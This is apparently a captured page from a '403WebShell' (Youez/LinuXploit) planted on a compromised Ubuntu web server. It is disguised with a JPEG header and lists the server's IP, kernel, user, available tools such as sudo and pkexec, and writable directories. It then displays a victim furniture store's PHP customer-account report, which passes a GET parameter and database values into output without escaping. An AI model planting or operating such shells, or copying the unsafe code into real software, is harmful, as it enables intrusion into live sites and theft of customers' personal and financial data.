����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/application/customer2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/application/customer2/report_customer_OLD.php
<?php 
$titlepage="Estado de Cuenta de Cliente";
$idsmenu=4;
include "../../library/config.php";
require_once("../model/dbconn.php");
require_once("../model/pos.php");
require_once("../model/sql2.php");
include "../layout/top-header.php"; 
include "../../library/check_login.php";
include "../../library/check_access.php";

$id_cust=$_GET["id_cust"];
$model = new pos();

$report["sales"]= $model->getReport($id_cust)[1];

$report["endorsements"]= $model->getEndorsement($id_cust)[1];
foreach($report["sales"] as &$sale){

	$sale["details"]= $model->getSaleDetails2($sale["sale_id"])[1];
	$sale["payments"]= $model->getPayments($sale["sale_id"])[1];
}

echo "<pre>";
//var_dump($model->getReport($id_cust)[1]);
echo "</pre>";

?>
 <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Estado de Cuenta</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">

<span class="input-group-btn ">
										<button type="submit" title="Imprimir Reporte" class="btn btn-warning" id="btnImprimir" ><i class="fa fa-print"></i></button>
															
										</span>
<section class="content" name="formulario">    
	<h2>ESTADO DE CUENTA DE CLIENTE </h2>
<div class="row">
		
			<div class="col-md-6">
				<div class="box box-primary">
					<div class="box-header with-border">
						<div class="box-body">
							<div class="form-horizontal">
							DATOS DE CLIENTE
					<div class="box-body">
				
						<div class="box-body table-responsive no-padding">
							<table id="table_transaction" class="table  table-bordered table-hover ">
							<?php foreach ($report["sales"] as $venta) { ?>
								
								<tbody>
								<tr >	
								<td align = "right" style="width:100px"><b> Nombre: </b></td>
								<td><?= $venta["name"] ?></td> 
								</tr>
								<tr>		
								<td align = "right"><b> Conyugue: </b></td>
								<td><?= $venta["conyugue"] ?></td> </tr>
								<tr>		
								<td align = "right"><b> Direccion: </b></td>
								<td><?= $venta["direccion"] ?></td> </tr>
								<tr>		
								<td align = "right"><b> Entre Calles: </b></td>
								<td><?= $venta["come_in"] ?></td> </tr>
								<tr>		
								<td align = "right"><b> Avales: </b></td>
								<td><?= $venta["poblacion"] ?></td> </tr>
								
								<tr>
										<td align = "right"><b> Avales: </b></td>
										<td>
											<?php foreach ($report["endorsements"] as $aval) { ?>
											<button type="button" class="btn btn-primary">
											  <?=$aval["name"]?>
											  </button>
											</div>
											<?php }?>
										</td>
									</tr>
							
								</tbody>
							<?php }?>		
							</table>

						</div>				
					</div><!-- /.box-body -->
								
							</div>		
						</div>	
					</div>
				</div>		
			</div>

			<div class="col-md-6">
				<div class="box box-primary">
					<div class="box-header with-border">
						<div class="box-body">
							<div class="form-horizontal">
								
					DATOS DE COBRANZA
					<div class="box-body">
				
						<div class="box-body table-responsive no-padding">
							<table id="table_transaction" class="table  table-bordered table-hover ">
								
								<?php foreach ($report["sales"] as $venta) { ?>
								
								<tbody>
								<tr>	
								<td align = "right" style="width:100px"><b> Contrato: </b></td>
								<td><?= $venta["contract"] ?></td> 
								</tr>
								<tr>		
								<td align = "right"><b> Monto Credito: </b></td>
								<td>$ <?= number_format($venta["total"]) ?></td> </tr>
								<tr>
							   <td align = "right"><b> Pago Minimo: </b></td>
								<td>$ <?= $venta["pago_minimo"] ?></td> </tr>
								<tr>
								<td align = "right"><b> Saldo: </b></td>
								<td>$ <?= number_format($venta["saldo_actual"]) ?></td> </tr>
								<tr>		
								<td align = "right"><b> Pagos Atrazo: </b></td>
								<td><?= $venta["semanas_atrazo"] ?></td> </tr>
								<tr>		
								<td align = "right"><b> Monto Atrazo: </b></td>
								<td>
								
									<?= $venta["valor_por_pagar"] ?>
								
								</td>
								</tr>
								<tr>
									<td align = "right"><b> Fecha U. Pago: </b></td>
									<td>
									<button type="button" class="btn btn-primary">
										<?= $venta["ultima_fecha_pago"] ?>
									  </button>
									</td>
								 </tr>
								
								
								</tbody>
							<?php }?>		
							</table>

						</div>				
					</div><!-- /.box-body -->
								
							</div>		
						</div>	
					</div>
				</div>		
			</div>
			
	</div>	
	
			<div class="box box-primary">
		DETALLES DE LA VENTA
			<table class="table">
			  <thead>
				<tr>
				 
				 
				  <th scope="col">Fecha de Venta</th>
				  <th scope="col " style="width:100px">Total Venta</th>
				  <th scope="col">Enganche</th>
			
				  <th scope="col">Total pagos</th>
				  <th scope="col">Saldo actual</th>
				 
				  <th scope="col">Fecha de Vencimiento del Credito</th>
				</tr>
			  </thead>
			  <tbody>
				<tr>
				 
				  
				</tr>
				<?php foreach ($report["sales"] as $venta) { ?>
				  <tr>
				
					
					<td><?= $venta["sale_date"] ?></td>
					<td>$ <?= number_format($venta["total"] + $venta["disc_rp"]) ?></td>
					<td>$ <?= number_format($venta["disc_rp"]) ?></td>
					<td>$ <?= number_format($venta["suma_valores_payments"]) ?></td>
					<td>$ <?= number_format($venta["saldo_actual"]) ?></td>
					
					 <td align="center" style="width:200px">
						<?php
						
						
						 $semanasT = round($venta["total"]/$venta["pago_minimo"]);
						  $FechaPrimerPago = $venta['fechaPrimer'];
							$fecha_actual = $FechaPrimerPago;
							//sumo 1 semana
							echo date("d-m-Y",strtotime($fecha_actual."+ ".$semanasT." week")); 
						 //$FechaFinalCredito = 
						
						?>
					 
					 <!--
								<button class="btn btn-link" type="button" data-toggle="collapse" data-target="#details<?= $venta["sale_id"] ?>" aria-expanded="false" aria-controls="details<?= $venta["sale_id"] ?>">
									Detalles Venta
								</button>
								<button class="btn btn-link" type="button" data-toggle="collapse" data-target="#pagos<?= $venta["sale_id"] ?>" aria-expanded="false" aria-controls="details<?= $venta["sale_id"] ?>">
									Pagos
								</button>
								
								<td colspan="14" class="p-0">
									<div class="collapse" id="details<?= $venta["sale_id"] ?>">
									<?php foreach ($venta["details"] as $detalle) { ?>
										<div class="card card-body">
										  Codigo  <?=$detalle["barcode"]?>;
											Nombre<?=$detalle["item_name"]?>;
											precio<?=$detalle["price"]?>;
											Enganche<?=$detalle["disc_rp"]?>;
											
										</div>
									<?php } ?>
									</div>
									 <div class="collapse" id="pagos<?= $venta["sale_id"] ?>">
									<?php foreach ($venta["payments"] as $pay) { ?>
										<div class="card card-body">
											<?=$pay["val"]?>---	<?=$pay["created_at"]?>
											
											
											
										</div>
									<?php } ?>
									</div>
								</td>
								-->
								
							</td>
				  </tr>
				<?php } ?>
			 </tbody>
			</table>
		</div>	
	</div>

	
	 
	<div class="box box-primary">
		
		MERCANCIA ENTREGADA
		<div class="box-body">
			<table class="table">
				<thead>
				<th scope="col" style="width:100px">Cantidad</th>
					 <th scope="col" style="width:100px">Codigo</th>
					  <th scope="col" style="width:300px">Mercancia</th>
					   
						<th scope="col" style="width:300px">SubTotal</th>
				</thead>
				
				<tbody>
				<?php foreach ($venta["details"] as $detalle) { ?>
				<tr>
					<td>
						<?=$detalle["qty"]?>
					</td>
				
					<td>
						<?=$detalle["barcode"]?>
					</td>
				
				
					<td>
						<?=$detalle["item_name"]?>
					</td>
				
					
				
					<td>
						$ 	<?=number_format($detalle["price"])?>
					</td>
				</tr>
					
				<?php } ?>
								
				</tbody>
				
			  </table>
 </div>
		  
	<div class="box box-primary">	  
</div>


<div class="row">
		
			<div class="col-md-6">
				<div class="box box-primary">
					<div class="box-header with-border">
						<div class="box-body">
							<div class="form-horizontal">
							Historial de Pagos Realizados
					<div class="box-body">
				
						<div class="box-body table-responsive no-padding">
							<table id="table_transaction" class="table  table-bordered table-hover ">
							<thead>
							<td ><b> Sem: </b></td>
							<td style="width:200px"><b> Fecha: </b></td>
							<td  style="width:100px"><b> Concepto: </b></td>							
								<td  style="width:200px"><b> Monto Pago: </b></td>
									<td style="width:300px" ><b> Cobrador: </b></td>
								
							</thead>

							<tr >	
								<td>
									<?php
								//obtenemos semana
								  $fechaActual = date($venta["sale_date"]);	
								  $fechaSegundos = strtotime($fechaActual);	
								echo  $semanas = date('W', $fechaSegundos);
								?>
								
								</td>
								<td><?php 
								$fecha_actual = $venta["sale_date"];
								//sumo 1 año
								echo date("d-m-Y",strtotime($fecha_actual."+ 1 hour"));
								
								
								?></td> 
								<td>Enganche</td>
									<td>$ <?php echo $venta["disc_rp"]; ?></td> 
									<td><?= $venta["cobrador"] ?></td>
									
								</tr>
						<?php 
						
						print_r($venta["payments"]);
						foreach ($venta["payments"] as $pay) {
echo count($pay);
							?>
								
								<tbody>
							
								<tr>	
								<td>
								<?php
								//obtenemos semana
								  $fechaActual = date($pay["created_at"]);	
								  $fechaSegundos = strtotime($fechaActual);	
								echo  $semanas = date('W', $fechaSegundos);
								?>
								
								</td>
								<td><?php 
								$fecha_actual = $pay["created_at"];
								//sumo 1 año
								echo date("d-m-Y",strtotime($fecha_actual."+ 1 hour"));
								
								
								?></td> 
								<td>Abono</td>
									<td>$ <?= $pay["val"] ?></td> 
									<td><?= $venta["cobrador"] ?></td>
									
								</tr>
							
								</tbody>
							<?php }?>		
							</table>

						</div>				
					</div><!-- /.box-body -->
								
							</div>		
						</div>	
					</div>
				</div>		
			</div>

		
			
	</div>	
	
	
</content>	




<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.2/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<script>
	//madar imprimir
$(document).on("click","#btnImprimir",function()
{
	imprimir();
})

//funcion imprimir
function imprimir() {
		if (window.print) {
				window.print();
			/*
				   var objeto = document.getElementById('area_impresion'); //obtenemos el objeto a imprimir
					var ventana = window.open('', '_blank'); //abrimos una ventana vacía nueva
					ventana.document.write(objeto.innerHTML); //imprimimos el HTML del objeto en la nueva ventana
					ventana.document.close(); //cerramos el documento
					ventana.print(); //imprimimos la ventana
					ventana.close(); //cerramos la ventana
			*/		
				
			} else {
				alert("La función de impresion no esta soportada por su navegador.");
			}
	}
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit